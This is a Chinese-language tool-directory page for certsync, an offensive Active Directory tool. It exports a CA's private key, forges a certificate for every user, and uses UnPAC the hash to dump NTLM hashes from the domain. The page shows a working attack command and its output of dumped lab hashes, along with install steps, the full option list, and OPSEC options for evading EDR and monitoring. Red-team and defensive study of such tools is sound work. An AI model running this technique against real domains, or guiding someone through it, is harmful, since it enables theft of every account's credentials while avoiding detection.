Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/zblurx/certsync
权限提升漏洞分析漏洞利用后渗透利用渗透测试身份验证红队
GitHubzblurx/certsync

certsync

使用黄金证书导出NTDS并UnPAC哈希

查看仓库
64968442年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

certsync

certsync 是一种用于远程导出 NTDS 的新技术,但这次不使用 DRSUAPI:它利用黄金证书和UnPAC the hash。 其工作分为以下几个步骤:

  1. 从 LDAP 导出用户列表、CA 信息和 CRL
  2. 导出 CA 证书和私钥
  3. 为每个用户离线伪造证书
  4. 对每个用户执行 UnPAC the hash,以获取 nt 和 lm 哈希
root@kitploit:~
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::

与我们的直觉相反,这种攻击的速度并不慢。

目录

  • certsync
    • 目录
    • 安装
    • 使用方法
    • 为什么
    • 要求
    • 限制
    • OPSEC
    • 致谢

安装

本地安装:

root@kitploit:~
git clone https://github.com/zblurx/certsync
cd certsync
pip install .

从 Pypi 安装:

root@kitploit:~
pip install certsync

从 BlackArch 安装:

root@kitploit:~
pacman -S certsync

所有操作系统的发行版软件包:

Packaging status

使用方法

root@kitploit:~
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
                [-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
                [-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]

Dump NTDS with golden certificates and UnPAC the hash

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -outputfile OUTPUTFILE
                        base output filename

CA options:
  -ca-pfx pfx/p12 file name
                        Path to CA certificate. If used, will skip backup of CA certificate and private key
  -ca-ip ip address     IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP

authentication options:
  -d domain.local, -domain domain.local
                        Domain name
  -u username, -username username
                        Username
  -p password, -password password
                        Password
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -kdcHost KDCHOST      FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection options:
  -scheme ldap scheme
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

OPSEC options:
  -ldap-filter LDAP_FILTER
                        ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
  -template cert.pfx    base template to use in order to forge certificates
  -timeout timeout      Timeout between PKINIT connection
  -jitter jitter        Jitter between PKINIT connection
  -randomize            Randomize certificate generation. Takes longer to generate all the certificates

为什么

DRSUAPI 正受到越来越多的监控,并且有时会被 EDR 解决方案限制。此外,certsync 不需要使用域管理员,只需要 CA 管理员即可。

要求

该攻击需要:

  • 域中的 ADCS 服务器上已配置了企业 CA,
  • PKINIT 正常工作,
  • 一个域账号,该账号是 ADCS 服务器的本地管理员,或者拥有 CA 证书和私钥的导出权限。

限制

由于无法对已吊销的用户执行 PKINIT,我们无法导出这些用户的哈希。

OPSEC

添加了一些选项来自定义工具的行为:

  • -ldap-filter:更改用于选择用户名以进行 certsync 的 LDAP 过滤器。
  • -template:使用已颁发的证书作为模板,以在伪造用户证书时模拟该证书。
  • -timeout 和 -jitter:更改 PKINIT 认证请求之间的超时时间和抖动。
  • -randomize:默认情况下,每个伪造的用户证书将使用相同的私钥、序列号和有效期。此参数将随机化这些值,但伪造过程会花费更长时间。

致谢

  • Olivier Lyak 在 ADCS 上的所有工作以及 certipy。
  • Benjamin Delpy 的 unPAC the hash 技术。
  • Will Schroeder 和 Lee Christensen 的 Certified Pre-Owned 和 Certify。
  • Mayfly 提供的优秀实验环境:GOAD。
下载工具